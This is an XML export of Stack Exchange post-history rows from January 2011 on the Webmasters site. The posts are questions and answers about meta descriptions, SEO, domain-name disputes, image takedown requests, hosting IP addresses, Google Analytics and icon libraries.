  <row Id="16077" PostHistoryTypeId="3" PostId="7587" RevisionGUID="122a6302-1da5-436c-8f71-1e51e5c52894" CreationDate="2011-01-08T03:25:48.623" UserDisplayName="Kabumbus" Text="&lt;html&gt;&lt;web&gt;&lt;search&gt;&lt;google&gt;&lt;seo&gt;" />
  <row Id="16078" PostHistoryTypeId="17" PostId="7587" RevisionGUID="25e53d4c-6171-4254-87fb-342fe0f06a2a" CreationDate="2011-01-10T13:18:56.060" UserId="-1" Comment="from http://stackoverflow.com/questions/4632161/what-is-google-search-engine-interested-in-on-html-pages" Text="" />
  <row Id="16079" PostHistoryTypeId="2" PostId="7592" RevisionGUID="838a10b2-831b-46d4-b2ec-8a535e3629ec" CreationDate="2011-01-10T13:19:05.153" UserId="3461" Text="I agree with the [MediaWiki][1] solution, and maybe, using bitnami [installer][2] to set it up.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mediawiki.org/wiki/MediaWiki&#xD;&#xA;  [2]: http://bitnami.org/stack/mediawiki" />
  <row Id="16080" PostHistoryTypeId="5" PostId="7450" RevisionGUID="3bec5cf5-a1b1-4410-a4a1-48a13dd9f4d5" CreationDate="2011-01-10T13:40:44.680" UserId="1597" Comment="added 105 characters in body" Text="I recently purchased one of those domain names like del.icio.us. While registering I found that delicious.com was being used.&#xD;&#xA;&#xD;&#xA;**Argument:**&#xD;&#xA;&#xD;&#xA;I found that delicious.com belonged to the same category as my to-be website. It served premium delicious dishes.&#xD;&#xA;&#xD;&#xA;**Counter Argument:** &#xD;&#xA;&#xD;&#xA;My to-be domain though belonging to the same category, specialized in serving free but delicious dishes or in giving out links(affiliate) to other sites serving premium delicious dishes.&#xD;&#xA;&#xD;&#xA;**Additional Counter Arguments:**&#xD;&#xA;&#xD;&#xA;1.delicious.com was not in English.&#xD;&#xA;&#xD;&#xA;2.the del.icio.us in my domain name though having the same spelling, is not going to be used in the same fashion. For eg.(this may not make sense, because the names have been changed)the d in delicious on my website actually stands for the greek letter  Delta(Δ/δ) and since internationalized domains are still not easily typable, I am going for the english equivalent.The prefix holds importance for the theme of the service which my website intends to offer. &#xD;&#xA;&#xD;&#xA;**My Question:**&#xD;&#xA;&#xD;&#xA;Can I use the domain name del.icio.us for my website?&#xD;&#xA;&#xD;&#xA;How are these kinds of matters dealt?&#xD;&#xA;&#xD;&#xA;(The domain names used are fictitious. And I have already registered the domain but have not started using it.I chanced upon this domain name because it was short, easy to remember and suited the theme of my website)&#xD;&#xA;&#xD;&#xA;Update:&#xD;&#xA;&#xD;&#xA;Can I use the domain name for an unrelated service. I have no wish to trample their rights." />
  <row Id="16081" PostHistoryTypeId="5" PostId="7577" RevisionGUID="4e53feca-19cb-4626-8768-2d66363e0cff" CreationDate="2011-01-10T13:50:11.107" UserId="60" Comment="Added link and quote from Google Webmaster Central." Text="The meta description is used in the those cases where your page is returned in results, but the users search terms don't actually appear on the page in question.&#xD;&#xA;&#xD;&#xA;I.e. if you click through to the &quot;Cached&quot; version of a page and it says at the top &quot;The following terms only appear in links to this page&quot;.&#xD;&#xA;&#xD;&#xA;Obviously, this is an unlikely occurrence for the StackExchange sites, but it is still potentially relevant for other types of sites.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**Edit to add:**&#xD;&#xA;&#xD;&#xA;Google's Webmaster Central page on &quot;[Changing your site's title and description in search results][1]&quot; also has the following:&#xD;&#xA;&#xD;&#xA;&gt; Google's creation of sites' titles and descriptions (or &quot;snippets&quot;) is completely automated and takes into account both the content of a page as well as references to it that appear on the web.&#xD;&#xA;&#xD;&#xA;&gt; We use a number of different sources for this information, including descriptive information in the META tag for each page. [...] We frequently prefer to display meta descriptions of pages (when available) because it gives users a clear idea of the URL's content. This directs them to good results faster and reduces the click-and-backtrack behavior that frustrates visitors and inflates web traffic metrics. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=35264" />
  <row Id="16082" PostHistoryTypeId="2" PostId="7593" RevisionGUID="16b9f828-db36-49ba-b27e-af4c3057384b" CreationDate="2011-01-10T14:14:23.290" UserId="1953" Text="I use it to improve the performance of certain pages based on analytic data. I generally auto generate it based on the content of the page then over time I look through my analytics data to see which pages aren't performing up to my expectations for example if I see a page in GWT that is ranking well (and a money page) but getting a very low CTR I spend some time testing changes to the meta description. Those instances frequently result in big boosts in CTR (I've had some pages with an average ranking in GWT of ~2 getting a 5% or 6% CTR with a change in the meta description they jump to over 20%, on high converting pages that's money in the bank).&#xD;&#xA;&#xD;&#xA;I also look for pages that have abnormally high bounce rates from Google, I find this is usually because Google chose the snippet based on an off hand sentence someone made in a comment, and when people visit the page and read the whole post and half the comments and find no mention of what they are looking for leave frustrated. &#xD;&#xA;&#xD;&#xA;In both instances sometimes Google uses the new meta tag other times they don't, so my take is auto generate the bulk of them (as mentioned above other search engines do in fact use them more heavily then Google), then spend time testing the small portions that you'll see the biggest improvements. " />
  <row Id="16083" PostHistoryTypeId="2" PostId="7594" RevisionGUID="14f1054b-d0cb-4f60-8e2e-40626b3010e2" CreationDate="2011-01-10T14:26:35.147" UserId="4520" Text="i remember how Microsoft has sued a little boy, young programmer Mike Row, who named his program like&quot;Mike Row Soft&quot;" />
  <row Id="16084" PostHistoryTypeId="2" PostId="7595" RevisionGUID="f40d92e4-9898-45c8-890f-6a16c2cde56c" CreationDate="2011-01-10T14:44:56.980" UserId="3718" Text="This is a difficult question. Yes, you can email the hosting provider and request that they take action. But it depends on their terms and conditions. If the website doesn't break the hosting companies terms, then the hosting company doesn't have to do anything. This would then mean you would have to take legal action privately  and take them to court. But then you are faced with the issue that the image in question is in the public domain so therefore can't be removed. There has been a lot of these types of stories in the press, and most of the time the image remains online.&#xD;&#xA;&#xD;&#xA;But you must also remember that if you are going to the hosting company saying that the image is illegal, at some point or other they will want to know why it is illegal. If the content of the image is illegal, then you will be in trouble yourself as it is you in the image. If not, then you will have to go to a solicitor.&#xD;&#xA;&#xD;&#xA;Also, powers a web host or even you have over websites depends on the country where the server is located. GoDaddy may be an American company but the server with this website on could be in Russia or the UK. So exactly what powers you have on getting the image taken down also changes depending on the country. GoDaddy would be able to tell you this though." />
  <row Id="16085" PostHistoryTypeId="2" PostId="7596" RevisionGUID="663e8834-f2d2-4136-9267-9b643486608b" CreationDate="2011-01-10T15:00:12.230" UserId="1253" Text="If they are in the US you can send a DMCA take down request to Godaddy asking them to remove the picture. They will notify the user of the request who can either take it down, respond saying it is not a copyright violation and leave it, or ignore the request at which point Godaddy will take the page down themselves. Keep in mind that that picture probably does not violate any copyrights so this could be seen as an abuse of the DMCA and it also doesn't mean that the picture will come down. But if you really want to get that picture taken down it might be worth trying." />
  <row Id="16087" PostHistoryTypeId="2" PostId="7598" RevisionGUID="8e603f24-04e3-4946-adf7-fa496aebe83d" CreationDate="2011-01-10T15:57:17.123" UserId="4524" Text="I am moving to a new and cheaper host. My old one raised the prices suddenly by a factor 10. Now what I did not like about the old one, was that each time I set up a new website, I had to set up a new account, with the result that I have to pay for a lot of webspace and a lot of bandwith i don't use.&#xD;&#xA;&#xD;&#xA;Now I am moving over to a new host, who cheaply offers virtual servers. Now I am a n00b when it comes to server tech.&#xD;&#xA;&#xD;&#xA;I have two questions about this:&#xD;&#xA;1. Could I install all my webistes on this virtual server, provided it is big enough?&#xD;&#xA;2. They offer the possibility of getting more than one IP address, but it costs more. What would be the advantage of this? Would I be able to suffice with one IP address?" />
  <row Id="16088" PostHistoryTypeId="1" PostId="7598" RevisionGUID="8e603f24-04e3-4946-adf7-fa496aebe83d" CreationDate="2011-01-10T15:57:17.123" UserId="4524" Text="Why would i need extra IP adresses from my web host?" />
  <row Id="16089" PostHistoryTypeId="3" PostId="7598" RevisionGUID="8e603f24-04e3-4946-adf7-fa496aebe83d" CreationDate="2011-01-10T15:57:17.123" UserId="4524" Text="&lt;web-hosting&gt;&lt;server&gt;" />
  <row Id="16090" PostHistoryTypeId="2" PostId="7599" RevisionGUID="646a43d1-c0ca-4afa-8d75-d5d47f1b4b3e" CreationDate="2011-01-10T16:14:31.070" UserId="1253" Text="1) Sure. Just compare the amount of space your sites take up (be sure to include the size of your databases) and make sure your new host has allocated that much space for you.&#xD;&#xA;&#xD;&#xA;2) If you plan on using SSL for any of your websites you will need a unique IP address for each secure site for SSL to work." />
  <row Id="16091" PostHistoryTypeId="2" PostId="7600" RevisionGUID="8bff2e4a-ba7d-46de-836f-6aab7b4db8c6" CreationDate="2011-01-10T17:17:12.273" UserId="1703" Text="Is this information possible to get? If not is there any other source of information that can provide this?&#xD;&#xA;&#xD;&#xA;Thank you" />
  <row Id="16092" PostHistoryTypeId="1" PostId="7600" RevisionGUID="8bff2e4a-ba7d-46de-836f-6aab7b4db8c6" CreationDate="2011-01-10T17:17:12.273" UserId="1703" Text="How can I find out how many times a specific term has been search on Google?" />
  <row Id="16093" PostHistoryTypeId="3" PostId="7600" RevisionGUID="8bff2e4a-ba7d-46de-836f-6aab7b4db8c6" CreationDate="2011-01-10T17:17:12.273" UserId="1703" Text="&lt;google&gt;&lt;search&gt;&lt;google-search&gt;&lt;search-term&gt;" />
  <row Id="16094" PostHistoryTypeId="4" PostId="7600" RevisionGUID="60048e87-15bf-43a7-8cdd-dc096fbf3a50" CreationDate="2011-01-10T17:23:08.573" UserId="1703" Comment="edited title" Text="How can I find out how many times a specific term has been searched on Google?" />
  <row Id="16095" PostHistoryTypeId="2" PostId="7601" RevisionGUID="7a810371-0b49-4bff-a28e-282e4b154518" CreationDate="2011-01-10T17:25:36.843" UserId="4526" Text="Google Trends? http://www.google.com/trends" />
  <row Id="16096" PostHistoryTypeId="2" PostId="7602" RevisionGUID="786dfef9-a140-402f-b0e2-43903a04d509" CreationDate="2011-01-10T17:32:20.813" UserId="2293" Text="Also [Google Keyword Tool][1] is a nice reference.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://adwords.google.com/select/KeywordToolExternal" />
  <row Id="16097" PostHistoryTypeId="5" PostId="7601" RevisionGUID="ca15ef9d-ff61-46cb-8cf1-bd235e890271" CreationDate="2011-01-10T17:33:24.137" UserId="4526" Comment="added 148 characters in body; added 24 characters in body" Text="Google Trends?&#xD;&#xA;&#xD;&#xA;edit: &#xD;&#xA;&#xD;&#xA;Adwords Keywords? [Keywords][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://adwords.google.com/o/Targeting/Explorer?__c=1000000000&amp;__u=1000000000&amp;ideaRequestType=KEYWORD_IDEAS#search.none&#xD;&#xA;&#xD;&#xA;@Dave beat me to it." />
  <row Id="16098" PostHistoryTypeId="2" PostId="7603" RevisionGUID="114a9b7a-af1c-4410-9c02-2b3fd3812c74" CreationDate="2011-01-10T17:45:13.320" UserId="3090" Text="I have a goal set up (let's say the goal is &quot;buy a product&quot;), and I can see which search terms lead to the most conversions. However, I want to know which search terms lead to which products. Is it possible to track this? There are more products than the maximum number of goals you can create, so I can't just make lots of goals." />
  <row Id="16099" PostHistoryTypeId="1" PostId="7603" RevisionGUID="114a9b7a-af1c-4410-9c02-2b3fd3812c74" CreationDate="2011-01-10T17:45:13.320" UserId="3090" Text="Is it possible to correlate goals with search terms in Google Analytics?" />
  <row Id="16100" PostHistoryTypeId="3" PostId="7603" RevisionGUID="114a9b7a-af1c-4410-9c02-2b3fd3812c74" CreationDate="2011-01-10T17:45:13.320" UserId="3090" Text="&lt;google-analytics&gt;" />
  <row Id="16101" PostHistoryTypeId="2" PostId="7604" RevisionGUID="0b075acb-7e0d-400f-9c6d-375dc6362de1" CreationDate="2011-01-10T17:47:47.547" UserId="2293" Text="This question seems simple but we can take it in a wider sense.&#xD;&#xA;&#xD;&#xA;Quick answer is yes, your formatting should rely only in CSS, and without it your page should look a plain text with links.&#xD;&#xA;&#xD;&#xA;More or less. Because HTML elements also have their indeed formatting and rules. Tables, quotations, lists, fieldsets, inputs, headings... All those elements usually renders a little different, even in a plain text context. Composing good html is the basis for a lot a things, like SEO, and can help avoiding some dummy markups, like &#xD;&#xA;&#xD;&#xA;    &lt;p class=&quot;code&quot;&gt;&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    &lt;div id=&quot;table&quot;&gt;&#xD;&#xA;&#xD;&#xA;Of course, the simplicity to maintenance, keeping all CSS in one or two files are the real great point on using CSS.&#xD;&#xA;&#xD;&#xA;Last comment is: don't forget images. img tag exists to be used. Sprite technique is indeed efficient, but should not replace the content images. A quick example: an image gallery.&#xD;&#xA;&#xD;&#xA;Menu icons and other graphic elements that aren't content can and should be placed within sprites. But the images, the real content, should be placed as img tags, with all resources (alt, title, caption when inside a figure element...)." />
  <row Id="16102" PostHistoryTypeId="2" PostId="7605" RevisionGUID="0b07ccbc-dbeb-46ed-84f9-60a19b15af11" CreationDate="2011-01-10T17:57:35.520" UserId="210" Text="My experience has been, that on sites without meta descriptions, Google has in the past chosen the first bit of text it finds on the page when searching for the site by name, for example, in your case &quot;Stack Exchange&quot; or &quot;Stack Overflow&quot;. The problem is that first bit of text maybe alt tags and a menu. In one case, this was all it was and it ended up being quite confusing because it ended up being a bunch of bits and pieces that didn't make sense together.&#xD;&#xA;&#xD;&#xA;Here's an example: Search for &quot;western air calgary&quot;. The website doesn't have any meta descriptions and the description Google comes up with is:&#xD;&#xA;&#xD;&#xA;&gt; Western Air &amp; Power Ltd. contact products employment about us. 1.877.245.2822 1.403.243.2822 1919 Highfield Crescent SE Calgary, Alberta, Canada.&#xD;&#xA;&#xD;&#xA;I personally don't find this very useful as it doesn't give any description of what the company actually does or is about. It is pretty amazing what Google picked up because there &quot;Wester Air &amp; Power Ltd.&quot; is only in an alt tag (by itself) while there are quite a few other bits in alt tags as well. But because the page doesn't have much content, it's pretty much useless and would be much better with a meta description.&#xD;&#xA;" />
  <row Id="16103" PostHistoryTypeId="2" PostId="7606" RevisionGUID="ef2f02e8-8601-48c6-9510-be7125d7bf4b" CreationDate="2011-01-10T18:33:18.167" UserDisplayName="n_kips" Text="Will apreciate it if you could list some that you may know of.&#xD;&#xA;&#xD;&#xA;Those that I could find are standard. I fould one that is enterprise, but no high availability. &#xD;&#xA;&#xD;&#xA;Thank you,&#xD;&#xA;Nich" />
  <row Id="16104" PostHistoryTypeId="1" PostId="7606" RevisionGUID="ef2f02e8-8601-48c6-9510-be7125d7bf4b" CreationDate="2011-01-10T18:33:18.167" UserDisplayName="n_kips" Text="Any High Availability CF 8/9 Ent VPS / VDS hosting out there?" />
  <row Id="16105" PostHistoryTypeId="3" PostId="7606" RevisionGUID="ef2f02e8-8601-48c6-9510-be7125d7bf4b" CreationDate="2011-01-10T18:33:18.167" UserDisplayName="n_kips" Text="&lt;web-hosting&gt;&lt;vps&gt;" />
  <row Id="16106" PostHistoryTypeId="17" PostId="7606" RevisionGUID="4fa38e97-2c0b-4c36-8961-2e927d3fff4f" CreationDate="2011-01-10T19:12:53.297" UserId="-1" Comment="from http://stackoverflow.com/questions/4650137/any-high-availability-cf-8-9-ent-vps-vds-hosting-out-there" Text="" />
  <row Id="16107" PostHistoryTypeId="2" PostId="7607" RevisionGUID="a50e7fdf-eace-47da-944a-f336d9655dbc" CreationDate="2011-01-10T19:31:48.137" UserId="2621" Text="What is a good tool to monitor a website's traffic live? Is there something that shows a feed of people who is currently on your website?" />
  <row Id="16108" PostHistoryTypeId="1" PostId="7607" RevisionGUID="a50e7fdf-eace-47da-944a-f336d9655dbc" CreationDate="2011-01-10T19:31:48.137" UserId="2621" Text="Live Website Monitoring Tool" />
  <row Id="16109" PostHistoryTypeId="3" PostId="7607" RevisionGUID="a50e7fdf-eace-47da-944a-f336d9655dbc" CreationDate="2011-01-10T19:31:48.137" UserId="2621" Text="&lt;traffic&gt;&lt;tracking&gt;&lt;monitoring&gt;" />
  <row Id="16110" PostHistoryTypeId="2" PostId="7608" RevisionGUID="40f90425-d70c-43c0-8f43-652b801b321d" CreationDate="2011-01-10T19:41:50.127" UserId="3371" Text="I am looking for some well designed icon libraries either for purchase or for free.  Any suggestions?  I need vector images of various things, like rain cloud, hitchhiking thumb, briefcase, and more.  Thanks." />
  <row Id="16111" PostHistoryTypeId="1" PostId="7608" RevisionGUID="40f90425-d70c-43c0-8f43-652b801b321d" CreationDate="2011-01-10T19:41:50.127" UserId="3371" Text="Good quality icon libraries" />
  <row Id="16112" PostHistoryTypeId="3" PostId="7608" RevisionGUID="40f90425-d70c-43c0-8f43-652b801b321d" CreationDate="2011-01-10T19:41:50.127" UserId="3371" Text="&lt;graphics&gt;" />
  <row Id="16114" PostHistoryTypeId="2" PostId="7610" RevisionGUID="840947d7-b141-436a-8ce5-9bb3a4b3b3d8" CreationDate="2011-01-10T20:14:31.423" UserDisplayName="user4531" Text="I have heard good things about http://chartbeat.com/&#xD;&#xA;&#xD;&#xA;Also, most online chat tools show you how is currently on your website e. g. Olark" />
  <row Id="16115" PostHistoryTypeId="10" PostId="7607" RevisionGUID="2df881e2-e8e4-44e1-afb3-2055318de644" CreationDate="2011-01-10T20:40:30.867" UserId="138" CloseReasonId="1" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="16116" PostHistoryTypeId="5" PostId="7607" RevisionGUID="f5e2ec0d-122e-46f0-82f6-3d16c74a9ca1" CreationDate="2011-01-10T20:40:30.990" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Live view of online visitors](http://webmasters.stackexchange.com/questions/2793/live-view-of-online-visitors)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;What is a good tool to monitor a website's traffic live? Is there something that shows a feed of people who is currently on your website?" />
  <row Id="16117" PostHistoryTypeId="2" PostId="7611" RevisionGUID="f7b0f2d9-899e-4f3d-a4fb-0cc02353d860" CreationDate="2011-01-10T21:25:19.577" UserId="1064" Text="You can make use of of the [Advanced Segments][1] to view this information.&#xD;&#xA;&#xD;&#xA;Create your own segment with a product name, SKU, or category dimension (you can create a segment for each product or just edit the one you're using to see different products) **and** a Metrics-&gt;Total Goal Conversions value &gt;= 1&#xD;&#xA;&#xD;&#xA;You can then enable your advanced segment and go to the Traffic Sources -&gt; Keywords report to see which keywords convert for the product/SKU/category set in your segment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=108040" />
  <row Id="16118" PostHistoryTypeId="2" PostId="7612" RevisionGUID="c801cb56-8e91-43a9-b5f3-c1b6495b7c5f" CreationDate="2011-01-10T21:34:40.630" UserId="1064" Text="This is not abuse in the sense that no law has been broken and the activity in question could hardly be described as malicious.&#xD;&#xA;&#xD;&#xA;Unless *you* want to break the law to get the picture taken down, I would recommend that you talk to a lawyer and be prepared for a lengthy and fruitless process.&#xD;&#xA;&#xD;&#xA;Once an image is on the web you have no control over it - the real lesson here would be to avoid doing things on camera if you don't want other people to see them and, failing that, *don't* try to abuse existing processes (or abuse departments) - you're wasting your time if you do." />
  <row Id="16119" PostHistoryTypeId="5" PostId="7552" RevisionGUID="5e9ffb54-8826-4032-b0ff-c65718229f99" CreationDate="2011-01-10T21:36:58.133" UserId="4477" Comment="Grammar corrections." Text="Declaring Language in XHTML and HTML&#xD;&#xA;------------------------------------&#xD;&#xA;&#xD;&#xA;The W3 describes how to formally declare the language of your web pages:&#xD;&#xA;&#xD;&#xA;[http://www.w3.org/International/tutorials/language-decl/][3]&#xD;&#xA;&#xD;&#xA;Add a **content-language** meta tag to the **head** block of each page.&#xD;&#xA;&#xD;&#xA;    &lt;meta http-equiv=&quot;content-language&quot; content=&quot;en&quot;&gt;&#xD;&#xA;&#xD;&#xA;...or...&#xD;&#xA;&#xD;&#xA;    &lt;meta http-equiv=&quot;content-language&quot; content=&quot;es&quot;&gt;&#xD;&#xA;&#xD;&#xA;Google's View of Multilingual Sites&#xD;&#xA;----------------------------------------&#xD;&#xA;&#xD;&#xA;The following article on Google's Webmaster blog talks about how to deal with multilingual web sites:&#xD;&#xA;&#xD;&#xA;[http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html][1]&#xD;&#xA;&#xD;&#xA;A second article on the same site, talks about how your particular site structure is supported and how to tell Google about your site's geo-targetting preferences:&#xD;&#xA;&#xD;&#xA;[http://googlewebmastercentral.blogspot.com/2008/08/how-to-start-multilingual-site.html][2]&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2008/08/how-to-start-multilingual-site.html&#xD;&#xA;  [3]: http://www.w3.org/International/tutorials/language-decl/ &quot;Declaring Language in XHTML and HTML&quot;" />
  <row Id="16120" PostHistoryTypeId="2" PostId="7613" RevisionGUID="a8bf589d-238f-4a8a-8b23-2d1fe3165bf0" CreationDate="2011-01-10T21:56:09.220" UserId="3707" Text="iconfinder.com is your friend http://www.iconfinder.com/" />
  <row Id="16121" PostHistoryTypeId="2" PostId="7614" RevisionGUID="f106d9d8-2369-4c18-a8c3-a42d03c26aeb" CreationDate="2011-01-10T22:17:08.050" UserDisplayName="Chris Lipscomb" Text="Graphic River! For instance: &#xD;&#xA;http://graphicriver.net/item/mix-and-match-weather-icon-set/79928 &#xD;&#xA;&#xD;&#xA;" />
  <row Id="16122" PostHistoryTypeId="5" PostId="7613" RevisionGUID="20fc9117-6e07-4250-bf6d-1ce0b1d86ac7" CreationDate="2011-01-10T22:19:36.883" UserId="3707" Comment="added 107 characters in body; added 134 characters in body" Text="Wefunction  has an awesome free set of icons http://wefunction.com/2008/07/function-free-icon-set/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This site has links to 44 free icon sets also. http://naldzgraphics.net/freebies/40-excellent-free-icon-sets-everyone-must-have/&#xD;&#xA;&#xD;&#xA;also you can use iconfinder.com&#xD;&#xA;&#xD;&#xA;http://www.iconfinder.com/" />
  <row Id="16123" PostHistoryTypeId="2" PostId="7615" RevisionGUID="44508467-2e8a-4d5d-bbe5-7c364b751259" CreationDate="2011-01-10T22:40:07.533" UserId="4021" Text="I have a list of 300+ pages (they were chosen based on which pages rank for a keyword I'm interested in) and I want to compile a list all the (known) inbound links to those pages.&#xD;&#xA;&#xD;&#xA;What's the fastest way to do this?  It seems like the only tools out there-- Yahoo Site Explorer, SEOMoz, Majestic, require you to either a) manually export each set of links by hand, or b) get data at the domain level (e.g. Majestic's clique hunter).&#xD;&#xA;&#xD;&#xA;Does anyone know of any efficient way to do this?  I ask because I'm about to write a bunch of code and I don't want to waste my time if there's another tool that will work.  I know SEOMoz and Majestic have API's but I'm wondering if there's a more user-friendly option." />
  <row Id="16124" PostHistoryTypeId="1" PostId="7615" RevisionGUID="44508467-2e8a-4d5d-bbe5-7c364b751259" CreationDate="2011-01-10T22:40:07.533" UserId="4021" Text="quickest way to research a set of pages backlinks " />
  <row Id="16125" PostHistoryTypeId="3" PostId="7615" RevisionGUID="44508467-2e8a-4d5d-bbe5-7c364b751259" CreationDate="2011-01-10T22:40:07.533" UserId="4021" Text="&lt;seo&gt;&lt;backlinks&gt;" />
  <row Id="16126" PostHistoryTypeId="5" PostId="7410" RevisionGUID="9c7da2aa-670f-4d62-b479-48a3cc527201" CreationDate="2011-01-10T22:45:07.453" UserId="4403" Comment="added 28 characters in body; edited tags" Text="A couple of my friends run a business and they asked me to build them a public website. It will only be used for static information about the company with some pictures. No transactions will be involved. &#xD;&#xA;&#xD;&#xA;Right now I work for a company where I build internal/external websites, and do a lot of backend programming in C#. I understand html, css, jquery, etc. so I feel like I am completely capable of building a website for them.&#xD;&#xA;&#xD;&#xA;However, I do not know all the basic knowledge to building one. For example, where should we host the files, what type of security issues do I need to be aware of, what's the best software to use for developing websites (I use visual studio at work), where can I find some design techniques, etc.&#xD;&#xA;&#xD;&#xA;Any help is appreciated. Thanks!" />
  <row Id="16127" PostHistoryTypeId="6" PostId="7410" RevisionGUID="9c7da2aa-670f-4d62-b479-48a3cc527201" CreationDate="2011-01-10T22:45:07.453" UserId="4403" Comment="added 28 characters in body; edited tags" Text="&lt;web-development&gt;&lt;website-design&gt;&lt;websites&gt;" />
  <row Id="16128" PostHistoryTypeId="2" PostId="7616" RevisionGUID="14356976-babd-4ca0-84e6-7e2a3fd28e29" CreationDate="2011-01-10T23:53:15.550" UserDisplayName="John Flyn" Text="before you read my question, I want to let you know that you have the freedom to delete or migrate this question. I know it probably doest not belog here, but I could not find any stackexchange site that I could ask this. ok.&#xD;&#xA;&#xD;&#xA;So, what does this &quot;social is the new search&quot; mean from a webmaster/dev standpoint?&#xD;&#xA;&#xD;&#xA;Does it even make sense? Or is is just some marketing BS.&#xD;&#xA;&#xD;&#xA;I'm trying to wrap my head around this, and it is just not clicking. And hearing the word &quot;social&quot; makes me wanna throwup sometimes.&#xD;&#xA;&#xD;&#xA;thanks in advance." />
  <row Id="16129" PostHistoryTypeId="1" PostId="7616" RevisionGUID="14356976-babd-4ca0-84e6-7e2a3fd28e29" CreationDate="2011-01-10T23:53:15.550" UserDisplayName="John Flyn" Text="Social is the new search" />
  <row Id="16130" PostHistoryTypeId="3" PostId="7616" RevisionGUID="14356976-babd-4ca0-84e6-7e2a3fd28e29" CreationDate="2011-01-10T23:53:15.550" UserDisplayName="John Flyn" Text="&lt;marketing&gt;&lt;social-media&gt;&lt;search&gt;" />
  <row Id="16131" PostHistoryTypeId="5" PostId="7450" RevisionGUID="5c412d86-ba04-43ef-af9c-3c61a032bc18" CreationDate="2011-01-10T23:58:30.337" UserId="1597" Comment="added 161 characters in body" Text="I recently purchased one of those domain names like del.icio.us. While registering I found that delicious.com was being used.&#xD;&#xA;&#xD;&#xA;**Argument:**&#xD;&#xA;&#xD;&#xA;I found that delicious.com belonged to the same category as my to-be website. It served premium delicious dishes.&#xD;&#xA;&#xD;&#xA;**Counter Argument:** &#xD;&#xA;&#xD;&#xA;My to-be domain though belonging to the same category, specialized in serving free but delicious dishes or in giving out links(affiliate) to other sites serving premium delicious dishes.&#xD;&#xA;&#xD;&#xA;**Additional Counter Arguments:**&#xD;&#xA;&#xD;&#xA;1.delicious.com was not in English.&#xD;&#xA;&#xD;&#xA;2.the del.icio.us in my domain name though having the same spelling, is not going to be used in the same fashion. For eg.(this may not make sense, because the names have been changed)the d in delicious on my website actually stands for the greek letter  Delta(Δ/δ) and since internationalized domains are still not easily typable, I am going for the english equivalent.The prefix holds importance for the theme of the service which my website intends to offer. &#xD;&#xA;&#xD;&#xA;**My Question:**&#xD;&#xA;&#xD;&#xA;Can I use the domain name del.icio.us for my website?&#xD;&#xA;&#xD;&#xA;How are these kinds of matters dealt?&#xD;&#xA;&#xD;&#xA;(The domain names used are fictitious. And I have already registered the domain but have not started using it.I chanced upon this domain name because it was short, easy to remember and suited the theme of my website)&#xD;&#xA;&#xD;&#xA;Update:&#xD;&#xA;&#xD;&#xA;Can I use the domain name for an unrelated service. I have no wish to trample their rights.&#xD;&#xA;&#xD;&#xA;Update:&#xD;&#xA;&#xD;&#xA;Are there any real life examples of similar name use in different fields without the companies fighting it out? The domain name is pretty generic." />
  <row Id="16132" PostHistoryTypeId="2" PostId="7617" RevisionGUID="f2f3f0d5-6060-4ce7-8df0-1ed732828322" CreationDate="2011-01-11T00:21:02.873" UserId="4534" Text="Nich, I can recommend Edge Web Hosting (www.edgewebhosting.net) as a CF hosting company that could meet your needs. I am (and many others I know are) very satisfied with their support and service." />
  <row Id="16133" PostHistoryTypeId="2" PostId="7618" RevisionGUID="b9dd4da5-1b41-4689-8347-8617fe74b73d" CreationDate="2011-01-11T00:30:27.780" UserDisplayName="Greg" Text="Jeff,&#xD;&#xA;&#xD;&#xA;You should use a meta description tag because:&#xD;&#xA;&#xD;&#xA; 1. Google says so as pointed out by previous posters.&#xD;&#xA; 2. Google doesn't always pick great descriptions.&#xD;&#xA; 3. When Google has a more relevant description than your meta desc, Google uses their choice. But, only when it's more relevant than yours.&#xD;&#xA;&#xD;&#xA;In summery, there is low risk in using a meta description because your description only gets used when it's better than what Google finds on the page, and Google says that you should use one. &#xD;&#xA;&#xD;&#xA;In practice, while a meta description won't help you climb up the rankings, it can and will draw more clicks to your listing. A meta description that exactly matches the user's search will draw the most clicks." />
  <row Id="16134" PostHistoryTypeId="5" PostId="7616" RevisionGUID="a6fc2f43-e94c-4798-b4cb-0b59c3669042" CreationDate="2011-01-11T00:34:43.813" UserDisplayName="John Flyn" Comment="deleted 31 characters in body" Text="before you read my question, I want to let you know that you have the freedom to delete or migrate this question. I know it probably doest not belong here, but I could not find any stackexchange site that I could ask this. ok.&#xD;&#xA;&#xD;&#xA;So, what does this &quot;social is the new search&quot; mean?&#xD;&#xA;&#xD;&#xA;Does it even make sense? Or is is just some marketing BS.&#xD;&#xA;&#xD;&#xA;I'm trying to wrap my head around this, and it is just not clicking. And hearing the word &quot;social&quot; makes me wanna throwup sometimes.&#xD;&#xA;&#xD;&#xA;thanks in advance." />
